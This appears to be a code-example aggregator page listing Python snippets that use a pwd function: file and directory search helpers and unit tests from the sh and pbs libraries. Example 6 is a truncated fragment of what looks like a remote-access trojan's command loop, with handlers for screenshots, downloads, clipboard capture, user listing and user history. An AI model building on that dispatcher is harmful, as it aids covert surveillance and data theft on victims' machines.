Esempio n. 1
0
def findDir(dir_name, dir_path=pwd()):
    dir_list = []
    for dirpath, dirs, files in os.walk(dir_path):
        for target_dir in dirs:
            if str(dir_name) == str(target_dir):
                path = dirpath + '/' + target_dir
                if isDir(path):
                    dir_list.append(path)
    return dir_list
Esempio n. 2
0
def findFile(file_name, dir_path=pwd()):
    file_list = []
    for dirpath, dirs, files in os.walk(dir_path):
        for target_file in files:
            if str(file_name) == str(target_file):
                file_path = dirpath + '/' + target_file
                if isFile(file_path):
                    file_list.append(file_path)
    return file_list
Esempio n. 3
0
File: test.py Progetto: ahhentz/sh
 def test_cwd(self):
     from sh import pwd
     from os.path import realpath
     self.assertEqual(str(pwd(_cwd="/tmp")), realpath("/tmp")+"\n")
     self.assertEqual(str(pwd(_cwd="/etc")), realpath("/etc")+"\n")
Esempio n. 4
0
 def test_cwd(self):
     from sh import pwd
     from os.path import realpath
     self.assertEqual(str(pwd(_cwd="/tmp")), realpath("/tmp") + "\n")
     self.assertEqual(str(pwd(_cwd="/etc")), realpath("/etc") + "\n")
Esempio n. 5
0
File: test.py Progetto: buchuki/pbs
 def test_cwd(self):
     from pbs import pwd
     self.assertEqual(str(pwd(_cwd='/tmp')), '/tmp\n')
     self.assertEqual(str(pwd(_cwd='/etc')), '/etc\n')
Esempio n. 6
0
        pass
    else:
        datastr = ''
        for each in rslts:
            data = each.replace('+++++', '')

            if (data[:6] == '["exit') or (data == '", "exit'):
                sys.exit(0)
            elif (data[:12] == '["screenshot') or (data == '", "screenshot'):
                screenshot()
            elif (data[:11] == '["download ') or (data == '", "download '):
                download(data)
            elif (data[:11] == '["clipboard') or (data == '", "clipboard'):
                clipboard()
            elif (data[:5] == '["pwd') or (data == '", "pwd'):
                pwd()
            elif (data[:9] == '["listdir') or (data == '", "listdir'):
                listdir()
            elif (data[:5] == '["cd ') or (data == '", "cd '):
                cd(data)
            elif (data[:12] == '["systeminfo') or (data == '", "systeminfo'):
                systeminfo()
            elif (data[:11] == '["listusers') or (data == '", "listusers'):
                listusers()
            elif (data[:11] == '["addresses') or (data == '", "addresses'):
                addresses()
            elif (data[:8] == '["prompt') or (data == '", "prompt'):
                prompt()
            elif (data[:10] == '["userhist') or (data == '", "userhist'):
                userhist()
            elif (data[:15] == '["checksecurity') or (data
Esempio n. 7
0
 def test_cwd(self):
     from sh import pwd
     self.assertEqual(str(pwd(_cwd='/tmp')), '/tmp\n')
     self.assertEqual(str(pwd(_cwd='/etc')), '/etc\n')